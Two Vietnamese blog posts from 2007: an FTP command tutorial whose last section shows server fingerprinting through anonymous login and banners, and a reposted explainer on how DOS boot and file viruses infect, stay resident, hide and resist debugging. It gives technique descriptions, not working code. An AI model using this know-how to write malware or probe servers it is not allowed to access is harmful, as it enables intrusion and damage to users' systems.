Note: Cái này mình sưu tầm được, share cho mọi người! [Mar. 8th, 2007|03:15 am]
Note: Cái này mình sưu tầm được, share cho mọi người!

Tìm hiểu về FTP
1. Giới thiệu
FTP là chữ viết tắc của File Transfer Protocol - Giao thức truyền file. FTP là một giao thức truyền file trên mạng dựa trên chuẩn TCP nên rất đáng tin cậy!
2. Một số lệnh phổ biến của FTP
Sau đây là danh sách một số lệnh thường dùng kèm theo hướng dẫn mà bạn cần biết!
ascii chuyển sang chế độ truyền file theo dạng văn bản

binary chuyển sang chế độ truyền file theo dạng nhị phân


cd [directory] chuyển vào thư mục directory


cdup chuyển lên thư mục cấp trên một cấp


close ngắt kết nối với máy chủ


del [remote-file] xóa 1 file trên máy chủ


dir [remote-directory|file] liệt kê nội dung của thư mục hoặc danh sách các file trên máy chủ


help [command] cho biết hướng dẫn về lệnh command


lcd [local-directory] đặt lại thư mục làm việc trên client là local-directory


ls [remote-directory|file] [-la] liệt kê nội dung của thư mục hoặc danh sách các file trên máy chủ; tham số -la sẽ liệt kê tất cả có kèm theo mô tả về quyền


mdelete [remote-files] xóa nhiều file trên máy chủ


mget [remote-files] download các files trên máy chủ về


mkdir <directory-name> tạo thư mục có tên directory-name


mput [local-files] upload các files lên máy chủ
open host [port] kết nối đến máy chủ FTP có hostname là host và đang chạy dịch vụ FTP ở cổng port


put <local-file> [remote-file] upload local-file lên máy chủ với tên mới là remote-file nếu được


pwd cho biết thư mục đang làm việc hiện thời
quit thoát


recv <remote-file> [local-file] nhận remote-file trên máy chủ và lưu trên máy tính với tên local-file nếu được


rename [from] [to] đổi tên file hoặc thư mục from thành to
rmdir directory-name xóa thư mục có tên directory-name


send local-file [remote-file] gởi local-file từ máy tính lên máy chủ với tên mới là remote-file nếu được


status cho biết trạng thái của phiên làm việc hiện tại
system cho biết hệ điều hành của máy chủ


user user-name [password] [account] login vào với tên là user-name, mật khẩu là password, tài khoản là account
? gọi hướng dẫn

3. Các ví dụ
Để dễ hiểu, các bạn hãy xem các ví dụ sau:(tôi sử dụng các này để upload mấy file lên website đó, không cần dùng các chương trình FTP mạnh như WS_FTP Pro, FTPNet, CuteFTP, AbsoluteFTP, ...!) Tôi lưu trang web cần tải lên server trong c:\website! Bây giờ tôi sẽ tải nó lên!
C:\website>ftp myftpsrv // kết nối đến máy chủ myftpsrvConnected to myftpsrv.
User (ftpsrv:(none)): dt
331 User name okay, need password. Password:
230 User logged in, proceed.
ftp> pwd // cho biết thư mục hiện tại đang làm việc!
257 "/home/dt" is current directory.

ftp> status // xem trạng thái hiện tại
Type: ascii; Verbose: On ; Bell: Off ; Prompting: On ; Globbing:
On
Debugging: Off ;Hash mark printing: Off . // ascii=1
ftp> cd www // chuyển vào thư mục www
250 Directory changed to /home/dt/www
ftp> put index.html // upload file index.html lên server
200 PORT Command successful.

150 Opening ASCII mode data connection for index.html.

226 Transfer complete.

ftp: 2095 bytes sent in 0.00Seconds 2095000.00Kbytes/sec.
ftp> mkdir tools // tạo thư mục /home/dt/www/tools
257 "/home/dt/www/tools" directory created.

ftp> cd tools // chuyển vào thư mục tools
250 Directory changed to /home/dt/www/tools
ftp> lcd c:\website\tools // thay đổi lại local directory = c:\website\tools
Local directory now C:\website\tools.
ftp> bin // chuyển sang chế độ truyền file nhị phân
200 Type set to I.ftp> mput *.* // upload tất cả các file trong c:\website\tools lên server, vào /home/www/tools/mput test.zip? y
200 PORT Command successful.150 Opening BINARY mode data connection for test.zip.226 Transfer complete.ftp: 10168 bytes sent in 0.06Seconds 169.47Kbytes/sec.mput test.exe? y200 PORT Command successful.150 Opening BINARY mode data connection for test.exe.226 Transfer complete.ftp: 54625 bytes sent in 0.11Seconds 496.59Kbytes/sec.ftp> ls -la // liệt kê nội dung của /home/www/tools200 PORT Command successful.150 Opening ASCII mode data connection for /bin/ls.drwxr--r-- 1 dt group 0 Sep 30 14:13 .drwxr--r-- 1 dt group 0 Sep 30 14:13 ..-rwxr--r-- 1 dt group 54625 Sep 30 14:14 test.exe-rwxr--r-- 1 dt group 10168 Sep 30 14:14 test.zip226 Transfer complete.ftp: 247 bytes received in 0.00Seconds 247000.00Kbytes/sec.ftp> del test.exe // tôi lỡ tay upload lên file test.exe, bây giờ tôi cần phải xóa nó250 DELE command successful.ftp> cd .. // chuyển lên thư mục cấp trên250 Directory changed to /home/dt/wwwftp> mkdir cgi-bin2 // tạo thư mục mới257 "/home/dt/www/cgi-bin2" directory created.ftp> rename cgi-bin2 cgi-bin // tôi đã nhập vào sai mất rồi, bây giờ phải đổi tên lại thôi!350 File or directory exists, ready for destination name250 RNTO command successful.ftp> cd cgi-bin // chuyển vào thư mục cgi-bin250 Directory changed to /home/dt/www/cgi-binftp> lcd c:\website\cgi-bin // đặt lại local directory!Local directory now C:\website\cgi-bin.ftp> ascii // chuyển sang chế độ truyền file văn bản vì tôi cần upload một số file .cgi + .pl200 Type set to A.ftp> put test.cgi // upload file test.cgi200 PORT Command successful.150 Opening ASCII mode data connection for test.cgi.226 Transfer complete.ftp: 222 bytes sent in 0.00Seconds 222000.00Kbytes/sec.ftp> ls -la // xem nội dung của /home/www/cgi-bin200 PORT Command successful.150 Opening ASCII mode data connection for /bin/ls.drwxr--r-- 1 dt group 0 Sep 30 14:16 .drwxr--r-- 1 dt group 0 Sep 30 14:16 ..-rwxr--r-- 1 dt group 222 Sep 30 14:17 test.cgi226 Transfer complete.ftp: 182 bytes received in 0.00Seconds 182000.00Kbytes/sec.ftp> site chmod 755 test.cgi // đặt quyền 755(wrxx-xr-x) cho file test.cgiftp> ls -la // tôi liệt kê lại thư mục cgi một lần nữa200 PORT Command successful.150 Opening ASCII mode data connection for /bin/ls.drwxr-xr-x 1 dt group 0 Sep 30 14:16 .drwxr-xr-x 1 dt group 0 Sep 30 14:16 ..-rwxr-xr-x 1 dt group 222 Sep 30 14:17 test.cgi226 Transfer complete.ftp: 182 bytes received in 0.00Seconds 182000.00Kbytes/sec.ftp> bye // tất cả đã xong, bây giờ tôi có thể ngắt kết nối được rồi!221 Goodbye!C:\website>


4. Nói thêm về FTP
Làm thế nào để kết nối với một máy chủ FTP qua một proxy-server, chẳng hạn như Wingate? Chỉ cần ftp đến proxy-server này và gõ vào như dạng sau, user@host[:port]. Ví dụ máy tôi đang chạy Wingate-FTP ở cổng 21 và Serv-U FTP-Server v2.5i ở cổng 2121, tôi có thể kết nối đến Serv-U FTP-Server v2.5i qua Wingate-FTP như sau:
C:\>ftp localhost
Connected to dt.
220 WinGate Engine FTP Gateway ready
User (dt:(none)): dt@localhost:2121
331 User name okay, need password.
Password:
230 User logged in, proceed.
ftp>

Okay, bây giờ tôi upload và download file như bình thường được rồi!
5. Hack với FTP
Đôi khi FTP cũng cho biết một số thông tin rất quan trọng! Bạn dễ dàng đoán được hệ điều hành của máy chủ FTP! Hãy xem các ví dụ sau:
C:\>ftp localhost
Connected to dt.
220 dt Microsoft FTP Service (Version 1.0).
User (dt:(none)): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230-Windows 95 FTP Service.
230 Anonymous user logged in as anonymous.

Yeah! Chắc ăn là server này là PWS chạy trên Windows!
Nếu như admin vô hiệu hóa dòng quảng cáo trên thì sao!? Vẫn còn cách khác! Bạn login vào và phát lệnh syst như sau:
ftp> literal syst
215 Windows_NT version 4.10


Hình như hệ điều hành của máy chủ là Win9.x hoặc WinNT thì phải!
(Nếu bạn đang chạy Linux* thì chỉ cần gõ syst).

linkpost comment

Chào các bạn! [Feb. 27th, 2007|10:41 pm]
Chào các bạn!
Hôm nay mình giới thiệu với các bạn một số chương trình trojan và cách sử dụng bạn nào chưa biết thì tìm hiểu.
Trước tiên Giới thiệu qua về các virus và trojan...(tài liệu trên mạng)
Tài liệu này hơi dài bạn cố gắng đọc nha..
*Virus

Virus tin học hiện nay đang là nỗi băn khoăn lo lắng của những người làm công tác tin học, là nỗi lo sợ của những người sử dụng khi máy tính của mình bị nhiễm virus. Khi máy tính của mình bị nhiễm virus, họ chỉ biết trông chờ vào các phần mềm diệt virus hiện có trên thị trường, trong trường hợp các phần mềm này không phát hiện hoặc không tiêu diệt được, họ bị lâm phải tình huống rất khó khăn, không biết phải làm như thế nào.
Vì lý do đó, có một cách nhìn nhận cơ bản về cơ chế và các nguyên tắc hoạt động của virus tin học là cần thiết. Trên cơ sở đó, có một cách nhìn đúng đắn về virus tin học trong việc phòng chống, kiểm tra, chữa trị cũng như cách phân tích, nghiên cứu một virus mới xuất hiện.

I. Virus tin học.

Thuật ngữ virus tin học dùng để chỉ một chương trình máy tính có thể tự sao chép chính nó lên nơi khác (đĩa hoặc file) mà người sử dụng không hay biết. Ngoài ra, một đặc điểm chung thường thấy trên các virus tin học là tính phá hoại, nó gây ra lỗi thi hành, thay đổi vị trí, mã hoá hoặc huỷ thông tin trên đĩa.

II. Phân loại:

Thông thường, dựa vào đối tượng lây lan là file hay đĩa mà virus được chia thành hai nhóm chính:

- B-virus: Virus chỉ tấn công lên Master Boot hay Boot Sector.

- F-virus: Virus chỉ tấn công lên các file khả thi.

Mặc dù vậy, cách phân chia này cũng không hẳn là chính xác. Ngoại lệ vẫn có các virus vừa tấn công lên Master Boot (Boot Sector) vừa tấn công lên file khả thi.

Ðể có một cách nhìn tổng quan về virus, chúng ta xem chúng dành quyền điều khiển như thế nào.

a. B-virus.

Khi máy tính bắt đầu khởi động (Power on), các thanh ghi phân đoạn đều được đặt về 0FFFFh, còn mọi thanh ghi khác đều được đặt về 0. Như vậy, quyền điều khiển ban đầu được trao cho đoạn mã tại 0FFFFh: 0h, đoạn mã này thực ra chỉ là lệnh nhảy JMP FAR đến một đoạn chương trình trong ROM, đoạn chương trình này thực hiện quá trình POST (Power On Self Test - Tự kiểm tra khi khởi động).

Quá trình POST sẽ lần lượt kiểm tra các thanh ghi, kiểm tra bộ nhớ, khởi tạo các Chip điều khiển DMA, bộ điều khiển ngắt, bộ điều khiển đĩa... Sau đó nó sẽ dò tìm các Card thiết bị gắn thêm để trao quyền điều khiển cho chúng tự khởi tạo rồi lấy lại quyền điều khiển. Chú ý rông đây là đoạn chương trình trong ROM (Read Only Memory) nên không thể sửa đổi, cũng như không thể chèn thêm một đoạn mã nào khác.

Sau quá trình POST, đoạn chương trình trong ROM tiến hành đọc Boot Sector trên đĩa A hoặc Master Boot trên đĩa cứng vào RAM (Random Acess Memory) tại địa chỉ 0:7C00h và trao quyền điều khiển cho đoạn mã đó bông lệnh JMP FAR 0:7C00h. Ðây là chỗ mà B-virus lợi dụng để tấn công vào Boot Sector (Master Boot), nghĩa là nó sẽ thay Boot Sector (Master Boot) chuẩn bông đoạn mã virus, vì thế quyền điều khiển được trao cho virus, nó sẽ tiến hành các hoạt động của mình trước, rồi sau đó mới tiến hành các thao tác như thông thường: Ðọc Boot Sector (Master Boot) chuẩn mà nó cất giấu ở đâu đó vào 0:7C00h rồi trao quyền điều khiển cho đoạn mã chuẩn này, và người sử dụng có cảm giác rông máy tính của mình vẫn hoạt động bình thường.

b. F-virus.

Khi DOS tổ chức thi hành File khả thi (bông chức năng 4Bh của ngắt 21h), nó sẽ tổ chức lại vùng nhớ, tải File cần thi hành và trao quyền điều khiển cho File đó. F-virus lợi dụng điểm này bông cách gắn đoạn mã của mình vào file đúng tại vị trí mà DOS trao quyền điều khiển cho File sau khi đã tải vào vùng nhớ. Sau khi F-virus tiến hành xong các hoạt động của mình, nó mới sắp xếp, bố trí trả lại quyền điều khiển cho File để cho File lại tiến hành hoạt động bình thường, và người sử dụng thì không thể biết được.

Trong các loại B-virus và F-virus, có một số loại sau khi dành được quyền điều khiển, sẽ tiến hành cài đặt một đoạn mã của mình trong vùng nhớ RAM như một chương trình thường trú (TSR), hoặc trong vùng nhớ nôm ngoài tầm kiểm soát của DOS, nhôm mục đích kiểm soát các ngắt quan trọng như ngắt 21h, ngắt 13h,... Mỗi khi các ngắt này được gọi, virus sẽ dành quyền điều khiển để tiến hành các hoạt động của mình trước khi trả lại các ngắt chuẩn của DOS.

III. Các đặc điểm của B-VIRUS.

Qua chương trước, chúng ta đã đưa ra các thông tin hết sức cơ bản về cấu trúc đĩa, tiến trình khởi động và cách thức tổ chức vùng nhớ, tổ chức thi hành file của DOS. Những thông tin đó giúp chúng ta tìm hiểu những đặc điểm cơ bản của virus, từ đó đưa ra cách phòng chống, chữa trị trong trường hợp máy bị nhiễm virus.

1. Phân loại B-virus.

Như chúng ta đã biết, sau quá trình POST, sector đầu tiên trên đĩa A hoặc đĩa C được đọc vào vùng nhớ tại 0: 7C00, và quyền điều khiển được trao cho đoạn mã trong sector khởi động này. B-virus hoạt động bông cách thay thế đoạn mã chuẩn trong sector khởi động này bông đoạn mã của nó để chiếm quyền điều khiển, sau khi đã cài đặt xong mới đọc sector khởi động chuẩn được virus cất giữ ở đâu đó vào 0:7C00 và trả lại quyền điều khiển cho đoạn mã chuẩn này. Việc cất giữ sector khởi động tại vị trí nào trên đĩa tuỳ thuộc loại đĩa và cách giải quyết của từng loại virus. Ðối với đĩa cứng, thông thường nó được cất giữ ở đâu đó trong Side 0, Cylinder 0 vì trong cả track này, DOS chỉ sử dụng sector đầu tiên cho bảng Partition. Trên đĩa mềm, vị trí cất giữ sẽ phức tạp hơn vì mọi chỗ đều có khả năng bị ghi đè thông tin. Một số hướng sau đây đã được các virus áp dụng:

Sử dụng sector ở cuối Root Directory, vì nó thường ít được sử dụng.

Sử dụng các sector cuối cùng trên đĩa, vì khi phân bổ vùng trống cho file, DOS tìm vùng trống từ nhỏ đến lớn cho nên vùng này thường ít được sử dụng.

Ghi vào vùng trống trên đĩa, đánh dấu trong bảng FAT vùng này là vùng bị hỏng để DOS không sử dụng cấp phát nữa. Ccáh làm này an toàn hơn các cách làm trên đây.

Format thêm track và ghi vào track vừa được Format thêm.

Tùy thuộc vào độ lớn của đoạn mã virus mà B-virus được chia thành hai loại:

a. SB-virus.

Chương trình của SB-virus chỉ chiếm đúng một sector khởi động, các tác vụ của SB-virus không nhiều và tương đối đơn giản. Hiện nay số các virus loại này thường ít gặp và có lẽ chỉ là các virus do trong nước "sản xuất".

b. DB-virus.

Ðây là những loại virus mà đoạn mã của nó lớn hơn 512 byte (thường thấy).

Vì thế mà chương trình virus được chia thành hai phần:

- Phần đầu virus: Ðược cài đặt trong sector khởi động để chiếm quyền điều hiển khi quyền điều khiển được trao cho sector khởi động này. Nhiệm vụ duy nhất của phần đầu là: tải tiếp phần thân của virus vào vùng nhớ và trao quyền điều khiển cho phần thân đó. Vì nhiệm vụ đơn giản như vậy nên phần đầu của virus thường rất ngắn, và càng ngắn càng tốt vì càng ngắn thì sự khác biệt giữa sector khởi động chuẩn và sector khởi động đã bị nhiễm virus càng ít, giảm khả năng bị nghi ngờ.

- Phần thân virus: Là phần chương trình chính của virus. Sau khi được phần đầu tải vào vùng nhớ và trao quyền, phần thân này sẽ tiến hành các tác vụ của mình, sau khi tiến hành xong mới đọc sector khởi động chuẩn vào vùng nhớ và trao quyền cho nó để máy tính làm việc một cách bình thường như chưa có gì xảy ra cả.

2. Một số kỹ thuật cơ bản của B-virus.

Dù là SB-virus hay DB-virus, nhưng để tồn tại và lây lan, chúng đều có một số các kỹ thuật cơ bản như sau:

a. Kỹ thuật kiểm tra tính duy nhất.

Virus phải tồn tại trong bộ nhớ cũng như trên đĩa, song sự tồn tại quá nhiều bản sao của chính nó trên đĩa và trong bộ nhớ sẽ chỉ làm chậm quá trình Boot máy, cũng như chiếm quá nhiều vùng nhớ ảnh hưởng tới việc tải và thi hành các chương trình khác đồng thời cũng làm giảm tốc độ truy xuất đĩa. Chính vì thế, kỹ thuật này là một yêu cầu nghiêm ngặt với B-virus.

Việc kiểm tra trên đĩa có hai yếu tố ảnh hưởng:

Thứ nhất là thời gian kiểm tra:

Nếu mọi tác vụ đọc/ghi đĩa đều phải kiểm tra đĩa thì thời gian truy xuất sẽ bị tăng gấp đôi, làm giảm tốc độ truy xuất cũng như gia tăng mỗi nghi ngờ.

Ðối với yêu cầu này, các virus áp dụng một số kỹ thuật sau: Giảm số lần kiểm tra bông cách chỉ kiểm tra trong trường hợp thay đổi truy xuất từ ổ đĩa này sang ổ đĩa khác, chỉ kiểm tra trong trường hợp bảng FAT trên đĩa được đọc vào.

Thứ hai là kỹ thuật kiểm tra:

Hầu hết các virus đều kiểm tra bông giá trị từ khoá. Mỗi virus sẽ tạo cho mình một giá trị đặc biệt tại một vị trí xác định trên đĩa, việc kiểm tra được tiến hành bông cách đọc Boot record và kiểm tra giá trị của từ khoá này. Kỹ thuật này gặp trở ngại vì số lượng B-virus ngày một đông đảo, mà vị trí trên Boot Record thì có hạn. Cách khắc phục hiện nay của các virus là tăng số lượng mã lệnh cần so sánh để làm giảm khả năng trùng hợp ngẫu nhiên.

Ðể kiểm tra sự tồn tại của mình trong bộ nhớ, các virus đã áp dụng các kỹ thuật sau: Ðơn giản nhất là kiểm tra giá trị Key value tại một vị trí xác định trên vùng nhớ cao, ngoài ra một kỹ thuật khác được áp dụng đối với các virus chiếm ngắt Int 21 của DOS là yêu cầu thực hiện một chức năng đặc biệt không có trong ngắt này. Nếu cờ báo lỗi được bật lên thì trong bộ nhớ chưa có virus, ngược lại nếu virus đã lưu trú trong vùng nhớ thì giá trị trả lại (trong thanh ghi AX chẳng hạn) là một giá trị xác định nào đó.

b. Kỹ thuật lưu trú.

Sau khi thực hiện xong chương trình POST, giá trị tổng số vùng nhớ vừa được Test sẽ được lưu vào vùng BIOS Data ở địa chỉ 0:413h. Khi hệ điều hành nhận quyền điều khiển, nó sẽ coi vùng nhớ mà nó kiểm soát là giá trị trong địa chỉ này. Vì vậy để lưu trú, mọi B-virus đều áp dụng kỹ thuật sau đây: Sau khi tải phần lưu trú của mình lên vùng nhớ cao, nó sẽ giảm giá trị vùng nhớ do DOS quản lý tại 0:413h đi một lượng đúng bông kích thước của virus. Tuy nhiên nếu không kiểm tra tốt sự có mặt trong vùng nhớ, khi bị Boot mềm liên tục, giá trị tổng số vùng nhớ này sẽ bị giảm nhiều lần, ảnh hưởng tới việc thực hiện của các chương trình sau này. Chính vì thế, các virus được thiết kế tốt phải kiểm tra sự tồn tại của mình trong bộ nhớ, nếu đã có mặt trong bộ nhớ thì không giảm dung lượng vùng nhớ nữa.

c. Kỹ thuật lây lan.

Ðoạn mã thực hiện nhiệm vụ lây lan là đoạn mã quan trọng trong chương trình virus. Ðể đảm bảo việc lây lan, virus khống chế ngắt quan trọng nhất trong việc đọc/ghi vùng hệ thống: đó là ngắt 13h, tuy nhiên để đảm bảo tốc độ truy xuất đĩa, chỉ các chức năng 2 và 3 (đọc/ghi) là dẫn tới việc lây lan. Việc lây lan bông cách đọc Boot Sector (Master Boot) lên và kiểm tra xem đã bị lây chưa (kỹ thuật kiểm tra đã nói ở trên). Nếu sector khởi động đó chưa bị nhiễm thì virus sẽ tạo một sector khởi động mới với các tham số tương ứng của đoạn mã virus rồi ghi trở lại vào vị trí của nó trên đĩa. Còn sector khởi động vừa đọc lên cùng với thân của virus (loại DB-virus) sẽ được ghi vào vùng xác định trên đĩa. Ngoài ra một số virus còn chiếm ngắt 21 của DOS để lây nhiễm và phá hoại trên các file mà ngắt 21 làm việc.

Việc xây dựng sector khởi động có đoạn mã của virus phải đảm bảo các kỹ thuật sau đây:

- Sector khởi động bị nhiễm phải còn chứa các tham số đĩa phục vụ cho quá trình truy xuất đĩa, đó là bảng tham số BPB của Boot record hay bảng phân chương trong trường hợp Master boot. Việc không bảo toàn sẽ dẫn đến việc virus mất quyền điều khiển hoặc không thể kiểm soát được đĩa nếu virus không có mặt trong môi trường.

- Sự an toàn của sector khởi động nguyên thể và đoạn thân của virus cũng phải được đặt lên hàng đầu. Các kỹ thuật về vị trí cất giấu chúng ta cũng đã phân tích ở các phần trên.

d. Kỹ thuật ngụy trang và gây nhiễu.

Kỹ thuật này ra đời khá muộn về sau này, do khuynh hướng chống lại sự phát hiện của người sử dụng và những lập trình viên đối với virus. Vì kích thước của virus khá nhỏ bé cho nên các lập trình viên hoàn toàn có thể dò từng bước xem cơ chế của virus hoạt động như thế nào, cho nên các virus tìm mọi cách lắt léo để chống lại sự theo dõi của các lập trình viên.

Các virus thường áp dụng một số kỹ thuật sau đây:

- Cố tình viết các lệnh một cách rắc rối như đặt Stack vào các vùng nhớ nguy hiểm, chiếm và xoá các ngắt, thay đổi một cách lắt léo các thanh ghi phân đoạn để người dò không biết dữ liệu lấy từ đâu, thay đổi các giá trị của các lệnh phía sau để người sử dụng khó theo dõi.

- Mã hoá ngay chính chương trình của mình để người sử dụng không phát hiện ra quy luật, cũng như không thấy một cách rõ ràng ngay sự hoạt động của virus.

- Ngụy trang: Cách thứ nhất là đoạn mã cài vào sector khởi động càng ngắn càng tốt và càng giống sector khởi động càng tốt. Tuy vậy cách thứ hai vẫn được nhiều virus áp dụng: Khi máy đang nôm trong quyền chi phối của virus, mọi yêu cầu đọc/ghi Boot sector (Master boot) đều được virus trả về một bản chuẩn: bản trước khi bị virus lây. Ðiều này đánh lừa người sử dụng và các chương trình chống virus không được thiết kế tốt nếu máy hiện đang chịu sự chi phối của virus.

e. Kỹ thuật phá hoại.

Ðã là virus thì bao giờ cũng có tính phá hoại. Có thể phá hoại ở mức đùa cho vui, cũng có thể là phá hoại ở mức độ nghiêm trọng, gây mất mát và đình trệ đối với thông tin trên đĩa.

Căn cứ vào thời điểm phá hoại, có thể chia ra thành hai loại:

- Loại định thời: Loại này lưu giữ một giá trị, giá trị này có thể là ngày giờ, số lần lây nhiễm, số giờ máy đã chạy, ... Nếu giá trị này vượt quá một con số cho phép, nó sẽ tiến hành phá hoại. Loại này thường nguy hiểm vì chúng chỉ phá hoại một lần.

- Loại liên tục: Sau khi bị lây nhiễm và liên tục, virus tiến hành phá hoại, song do tính liên tục này, các hoạt động phá hoại của nó không mang tính nghiêm trọng, chủ yếu là đùa cho vui.

IV. Các đặc điểm của F-VIRUS

So với B-virus thì số lượng F-virus đông đảo hơn nhiều, có lẽ do các tác vụ đĩa với sự hỗ trợ của Int 21 đã trở nên cực kỳ dễ dàng và thoải mái, đó là điều kiện phát triển cho các F-virus.

Thường thì các F-virus chỉ lây lan trên các file khả thi (có đuôi .COM hoặc .EXE), tuy nhiên một nguyên tắc mà virus phải tuân thủ là: Khi thi hành một file khả thi bị lây nhiễm, quyền điều khiển phải nôm trong tay virus trước khi virus trả nó lại cho file bị nhiễm, và khi file nhận lại quyền điều khiển, tất cả mọi dữ liệu của file phải được bảo toàn.

Ðối với F-virus, có một số kỹ thuật được nêu ra ở đây:

1. Kỹ thuật lây lan:

Các F-virus chủ yếu sử dụng hai kỹ thuật: Thêm vào đầu và thêm vào cuối

a. Thêm vào đầu file.
Thông thường, phương pháp này chỉ áp dụng cho các file .COM, tức là đầu vào của chương trình luôn luôn tại PSP:100h. Lợi dụng đầu vào cố định, virus chèn đoạn mã của chương trình virus vào đầu chương trình đối tượng, đẩy toàn bộ chương trình đối tượng xuống phía dưới. Cách này có một nhược điểm là do đầu vào cố định của chương trình .COM là PSP:100, cho nên trước khi trả lại quyền điều khiển cho chương trình, phải đẩy lại toàn bộ chương trình lên bắt đầu từ offset 100h. Cách lây này gây khó khăn cho những người khôi phục vì phải đọc toàn bộ file vào vùng nhớ rồi mới tiến hành ghi lại.

b. Thêm vào cuối file.

Khác với cách lây lan ở trên, trong phương pháp này, đoạn mã của virus sẽ được gắn vào sau của chương trình đối tượng. Phương pháp này được thấy trên hầu hết các loại virus vì phạm vi lây lan của nó rộng rãi hơn phương pháp trên.

Do thân của virus không nôm đúng đầu vào của chương trình, cho nên để chiếm quyền điều khiển, phải thực hiện kỹ thuật sau đây:

- Ðối với file .COM: Thay các byte đầu tiên của chương trình (đầu vào) bông một lệnh nhảy JMP, chuyển điều khiển đến đoạn mã của virus.

E9 xx xx JMP Entry virus.

- Ðối với file .EXE: Chỉ cần định vị lại hệ thống các thanh ghi SS, SP, CS, IP trong Exe Header để trao quyền điều khiển cho phần mã virus.

Ngoài hai kỹ thuật lây lan chủ yếu trên, có một số ít các virus sử dụng một số các kỹ thuật đặc biệt khác như mã hoá phần mã của chương trình virus trước khi ghép chúng vào file để ngụy trang, hoặc thậm chí thay thế một số đoạn mã ngắn trong file đối tượng bông các đoạn mã của virus, gây khó khăn cho quá trình khôi phục.

Khi tiến hành lây lan trên file, đối với các file được đặt các thuộc tính Sys (hệ thống), Read Only (chỉ đọc), Hidden (ẩn), phải tiến hành đổi lại các thuộc tính đó để có thể truy nhập, ngoài ra việc truy nhập cũng thay đổi lại ngày giờ cập nhật của file, vì thế hầu hết các virus đều lưu lại thuộc tính, ngày giờ cập nhật của file để sau khi lây nhiễm sẽ trả lại y nguyên thuộc tính và ngày giờ cập nhật ban đầu của nó.

Ngoài ra, việc cố gắng ghi lên đĩa mềm có dán nhãn bảo vệ cũng tạo ra dòng thông báo lỗi của DOS: Retry - Aboart - Ignoreô, nếu không xử lý tốt thì dễ bị người sử dụng phát hiện ra sự có mặt của virus. Lỗi kiểu này được DOS kiểm soát bông ngắt 24h, cho nên các virus muốn tránh các thông báo kiểu này của DOS khi tiến hành lây lan phải thay ngắt 24h của DOS trước khi tiến hành lây lan rồi sau đó hoàn trả.

2. Kỹ thuật đảm bảo tính tồn tại duy nhất.

Cũng giống như B-virus, một yêu cầu nghiêm ngặt đặt ra đối với F-virus là tính tồn tại duy nhất của mình trong bộ nhớ cũng như trên file.

Trong vùng nhớ, thông thường các F-virus sử dụng hai kỹ thuật chính: Thứ nhất là tạo thêm chức năng cho DOS, bông cách sử dụng một chức năng con nào đó trong đó đặt chức năng lớn hơn chức năng cao nhất mà DOS có. Ðể kiểm tra chỉ cần gọi chức năng này, giá trị trả lại trong thanh ghi quyết định sự tồn tại của virus trong bộ nhớ hay chưa. Cách thứ hai là so sánh một đoạn mã trong vùng nhớ ấn định với đoạn mã của virus, nếu có sự chênh lệch thì có nghĩa là virus chưa có mặt trong vùng nhớ và sẽ tiến hành lây lan.

Trên file, có thể có các cách kiểm tra như kiểm tra bông test logic nào đó với các thông tin của Entry trong thư mục của file này. Cách này không đảm bảo tính chính xác tuyệt đối song nếu thiết kế tốt thì khả năng trùng lặp cũng hạn chế, hầu như không có, ngoài ra một ưu điểm là tốc độ thực hiện kiểm tra rất nhanh. Ngoài ra có thể kiểm tra bông cách dò một đoạn mã đặc trưng (key value) của virus tại vị trí ấn định nào đó trên file, ví dụ trên các byte cuối cùng của file.

3. Kỹ thuật thường trú

Ðây là một kỹ thuật khó khăn, lý do là DOS chỉ cung cấp chức năng thường trú cho chương trình, nghĩa là chỉ cho phép cả chương trình thường trú. Vì vậy nếu sử dụng chức năng của DOS, chương trình virus muốn thường trú thì cả file đối tượng cũng phải thường trú, mà điều này thì không thể được nếu kích thước của file đối tượng quá lớn.

Chính vì lý do trên, hầu hết các chương trình virus muốn thường trú đều phải thao tác qua mặt DOS trên chuỗi MCB bông phương pháp "thủ công". Căn cứ vào việc thường trú được thực hiện trước hay sau khi chương trình đối tượng thi hành, có thể chia kỹ thuật thường trú thành hai nhóm:

a. Thường trú trước khi trả quyền điều khiển.

Như đã nói ở trên, DOS không cung cấp một chức năng nào cho kiểu thường trú này, cho nên chương trình virus phải tự thu xếp. Các cách sau đây đã được virus dùng đến:

- Thao tác trên MCB để tách một khối vùng nhớ ra khỏi quyền điều khiển của DOS, rồi dùng vùng này để chứa chương trình virus.

- Tự định vị vị trí trong bộ nhớ để tải phần thường trú của virus vào, thường thì các virus chọn ở vùng nhớ cao, phía dưới phần tạm trú của file command.com để tránh bị ghi đè khi hệ thống tải lại command.com. Vì không cấp phát bọ nhớ cho phần chương trình virus đang thường trú, cho nên command.com hoàn toàn có quyền cấp phát vùng nhớ đó cho các chương trình khác, nghĩa là chương trình thương trú của virus phải chấp nhận sự mất mát do may rủi.

- Thường trú bông chức năng thường trú 31h: Ðây là một kỹ thuật phức tạp, tiến trình cần thực hiện được mô tả như sau:

Khi chương trình virus được trao quyền, nó sẽ tạo ra một MCB được khai báo là phần tử trung gian trong chuỗi MCB để chứa chương trình virus, sau đó lại tạo tiếp một MCB mới để cho chương trình bị nhiễm bông cách dời chương trình xuống vùng mới này. Ðể thay đổi PSP mà DOS đang lưu giữ thành PSP mà chương trình virus tạo ra cho chương trình đối tượng, phải sử dụng chức năng 50h của ngắt 21h.

b. Thường trú sau khi đoạt lại quyền điều khiển.

Chương trình virus lấy tên chương trình đang thi hành trong môi trường của DOS, rồi nó thi hành ngay chính bản thân mình. Sau khi thi hành xong, quyền điều khiển lại được trả về cho virus, và khi đó nó mới tiến hành thường trú một cách bình thường bông chức năng 31h của ngắt 21h.

4. Kỹ thuật ngụy trang và gây nhiễu

Một nhược điểm không tránh khỏi là file đối tượng bị lây nhiễm virus sẽ bị tăng kích thước. Một số virus ngụy trang bông cách khi sử dụng chức năng DIR của DOS, virus chi phối chức năng tìm kiếm file (chức năng 11h và 12h của ngắt 21h) để giảm kích thước của file bị lây nhiễm xuống, vì thế khi virus đang chi phối máy tính, nếu sử dụng lệnh DIR của DOS, hoặc các lệnh sử dụng chức năng tìm kiếm file ở trên để có thông tin về entry trong bảng thư mục, thì thấy kích thước file bị lây nhiễm vẫn bông kích thước của file ban đầu, điều này đánh lừa người sử dụng về sự trong sạch của file này.

Một số virus còn gây nhiễu bông cách mã hoá phần lớn chương trình virus, chỉ khi nào vào vùng nhớ, chương trình mới được giải mã ngược lại. Một số virus anti-debug bông cách chiếm ngắt 1 và ngắt 3. Bởi vì các chương trình debug thực chất phải dùng ngắt 1 và ngắt 3 để thi hành từng bước một, cho nên khi virus chiếm các ngắt này rồi mà người lập trình dùng debug để theo dõi virus thì kết quả không lường trước được.

linkpost comment

